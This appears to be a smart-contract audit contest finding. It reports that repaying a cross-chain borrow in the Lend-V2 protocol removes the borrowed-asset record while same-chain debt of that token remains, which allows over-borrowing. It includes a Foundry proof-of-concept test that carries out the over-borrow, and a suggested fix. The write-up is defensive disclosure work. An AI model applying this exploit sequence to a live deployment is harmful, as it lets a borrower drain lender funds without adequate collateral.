Fierce Eggplant Dalmatian

High

# Incorrect Borrowed Asset Tracking Enables Over-Borrowing

## Title 
Incorrect Borrowed Asset Tracking Enables Over-Borrowing

## Summary
In scenarios where a user borrows the same token both via cross-chain and same-chain transactions, the protocol can mistakenly treat the borrower as having no active borrow after repaying just the cross-chain portion. This misrepresentation allows the user to initiate new same-chain borrows that exceed their actual borrowing capacity, due to underreporting of their outstanding debt.

## Root Cause
When a user borrows a token—either same-chain or across chains—the corresponding `lToken` is added to their list of borrowed assets using:
```solidity
    lendStorage.addUserBorrowedAsset(msg.sender, _lToken);
```
Let’s consider a situation where a user, say Alice, performs the following sequence:
1. **Cross-chain borrow**:
   * Alice supplies `tokenB` as collateral on `chainB`.
   * She borrows `tokenA` on `chainA`, which registers `lTokenA` as a borrowed asset.

2. **Same-chain borrow**:
   * She also supplies `tokenC` as collateral directly on `chainA`.
   * Again borrows `tokenA` (same asset) on `chainA`. Since `lTokenA` is already listed in her borrowed assets, no update occurs.

Later, Alice decides to fully repay the cross-chain portion of her loan. The debt tracking is handled inside [`_updateRepaymentState()`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CrossChainRouter.sol#L505-L542), which includes the following:

```solidity
if (repayAmountFinal == borrowedAmount) {
    lendStorage.removeCrossChainCollateral(borrower, _token, index);
    if (userCrossChainCollaterals.length == 1) {
>>      lendStorage.removeUserBorrowedAsset(borrower, _lToken);
    }
}
```
At this point, the borrowed asset `lTokenA` is removed from the tracking list even though Alice still has a same-chain outstanding borrow for that token.
After the removal, when Alice makes a new borrow call for more `tokenA` on `chainA`, the liquidity check uses the following function:

```solidity
    (borrowed, collateral) = lendStorage.getHypotheticalAccountLiquidityCollateral(msg.sender, _lToken, 0, _amount);
```
Inside [`getHypotheticalAccountLiquidityCollateral()`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/LendStorage.sol#L385-L467), both the collateral and borrowed positions are calculated based on assets tracked in `userSuppliedAssets` and `userBorrowedAssets`.
Since `lTokenA` was removed during the cross-chain repay step, the `borrowedAssets` array becomes empty:

```solidity
    address[] memory borrowedAssets = userBorrowedAssets[account].values();
```
This leads to the loop calculating `sumBorrowPlusEffects` being skipped entirely:

```solidity
    for (uint256 i = 0; i < borrowedAssets.length;) {
        // skipped: no borrowed assets tracked
    }
```
The result is that the borrow calculation only includes the new requested amount (`borrowAmount`) and completely ignores the existing borrow balance. This makes `borrowed` appear artificially low.
The liquidity check:
```solidity
    require(collateral >= borrowAmount, "Insufficient collateral");
```
then passes incorrectly because it only compares `collateral` against the new `borrowAmount`, instead of the actual total outstanding borrow.

## Internal Preconditions
1. The protocol does not cross-reference actual outstanding balances when deciding to remove a borrowed asset.
2. Same-token borrow tracking conflates cross-chain and same-chain borrowing into a single entry.

## External Preconditions
1. The user must perform both a cross-chain and a same-chain borrow of the same token.
2. They must fully repay the cross-chain loan.
3. They must attempt a new same-chain borrow of the same asset.

## Attack Path
* User deposits collateral and borrows on both chains.
* User repays only the cross-chain portion.
* Asset is removed from `borrowedAssets`.
* New same-chain borrow is under-validated.
* User borrows beyond collateral limit.

## Impact
* Protocol underestimates user borrow positions, violating intended collateralization constraints.
* Borrowers may end up with loans far exceeding allowed limits, making the system vulnerable to insolvency during market downturns.
* Malicious actors could deliberately exploit this flaw to drain excess liquidity from the protocol without appropriate backing.

## Poc
1. Add the following functions in `test/TestBorrowingCrossChain.t.sol`;
```solidity
    function _supplyAWithUser(uint256 amount, address user) internal returns (address token, address lToken) {
        // Deal ether for LayerZero fees
        vm.deal(address(routerA), 1 ether);

        token = supportedTokensA[0];
        lToken = lendStorageA.underlyingTolToken(token);

        vm.startPrank(user);
        ERC20Mock(token).mint(user, amount);
        IERC20(token).approve(address(coreRouterA), amount);
        coreRouterA.supply(amount, token);
        vm.stopPrank();
    }

    function _supplyC(uint256 amount) internal returns (address token, address lToken) {
        // Deal ether for LayerZero fees
        vm.deal(address(routerA), 1 ether);

        token = supportedTokensA[1];
        lToken = lendStorageA.underlyingTolToken(token);
        
        vm.startPrank(deployer);
        ERC20Mock(token).mint(deployer, amount);
        IERC20(token).approve(address(coreRouterA), amount);
        coreRouterA.supply(amount, token);
        vm.stopPrank();
    }
```
2. Add the foolowing test in the same file:
```solidity
    function test_cross_chain_repay_removes_borrowed_asset_and_allows_over_borrow
    (
        uint256 amountToSupply,
        uint256 amountToBorrow
    ) public {
        // Bound amount between 1e18 and 1e30 to ensure reasonable test values
        amountToSupply = bound(amountToSupply, 1e18, 1e30);

        // Fund Router A with ETH for LayerZero fees
        vm.deal(address(routerB), 1 ether);

        // First supply tokens as collateral on Chain A
        (address tokenB, address lTokenB) = _supplyB(amountToSupply);

        // Deal ether for LayerZero fees
        vm.deal(address(routerB), 1 ether);

        // some random user supplys tokenA in chainA
        (address tokenA, address lTokenA) = _supplyAWithUser(amountToSupply * 2, address(1));

        // Calculate maximum allowed borrow (using actual collateral factor) --> scale down for precision loss
        uint256 maxBorrow = (lendStorageB.getMaxBorrowAmount(deployer, lTokenB) * 0.9e18) / 1e18;

        uint256 boundedBorrow = bound(amountToBorrow, 0.1e18, maxBorrow);

        // Get initial balances
        uint256 initialTokenBalance = IERC20(lendStorageB.underlyingToDestUnderlying(tokenB, CHAIN_A_ID)).
            balanceOf(deployer);

        vm.startPrank(deployer);

        // CROSS CHAIN BORROW
        routerB.borrowCrossChain(boundedBorrow, tokenB, CHAIN_A_ID);

        vm.stopPrank();

        // Verify the borrow was successful
        assertEq(
            IERC20(lendStorageB.underlyingToDestUnderlying(tokenB, CHAIN_A_ID)).balanceOf(deployer) 
                - initialTokenBalance,
            boundedBorrow,
            "Should receive correct amount of borrowed tokens"
        );

        // deployer supplys tokenC as collateral in chainA and borrow tokenA
        _supplyC(amountToSupply);

        vm.startPrank(deployer);

        // MAX BORROW AMOUNT CAPPED AT 70%
        // calculate maxBorrowAmount based on this deposited collateral
        uint256 maxBorrowAmount = (amountToSupply * 70) / 100;

        // FIRST SAME-CHAIN BORROW
        // NOTE: User borrows half the maxBorrowAmount
        coreRouterA.borrow(maxBorrowAmount / 2, tokenA);

        // check user borrow tokens
        address[] memory currentDeployerBorrowedAssets = lendStorageA.getUserBorrowedAssets(deployer);
        assertEq(currentDeployerBorrowedAssets.length, 1, "Deployer should have one borrowed assets");
        
        // Check destination borrow details
        LendStorage.Borrow[] memory userBorrows = lendStorageB.getCrossChainBorrows(deployer, tokenB);

        // FULL CROSS CHAIN BORROW REPAYMENT
        uint256 fullAmount = userBorrows[0].principle;
        ERC20Mock(tokenA).mint(deployer, fullAmount);
        IERC20(tokenA).approve(address(coreRouterA), fullAmount);

        routerA.repayCrossChainBorrow(deployer, fullAmount, lTokenA, 31337);

        // check user borrow tokens
        address[] memory finalDeployerBorrowedAssets = lendStorageA.getUserBorrowedAssets(deployer);
        assertEq(finalDeployerBorrowedAssets.length, 0, "Deployer should have no borrowed assets");

        // let deployer redeem all his collateral he deposited on chainB
        // after this, there are no collateral on chainB, ONLY in chainA
        coreRouterB.redeem(lendStorageB.totalInvestment(deployer, lTokenB), payable(lTokenB));

        // SECOND SAME-CHAIN BORROW
        // NOTE: User manages to make away with another 3/4 of maxBorrowAmount
        // allowing them to take upto 87.5% when max should be 70%
        coreRouterA.borrow(maxBorrowAmount * 3 / 4, tokenA);

        vm.stopPrank();
    }
```

## Mitigation
Update `removeUserBorrowedAsset()` logic to only remove an asset if the user's total debt (same-chain + cross-chain) for that token is zero.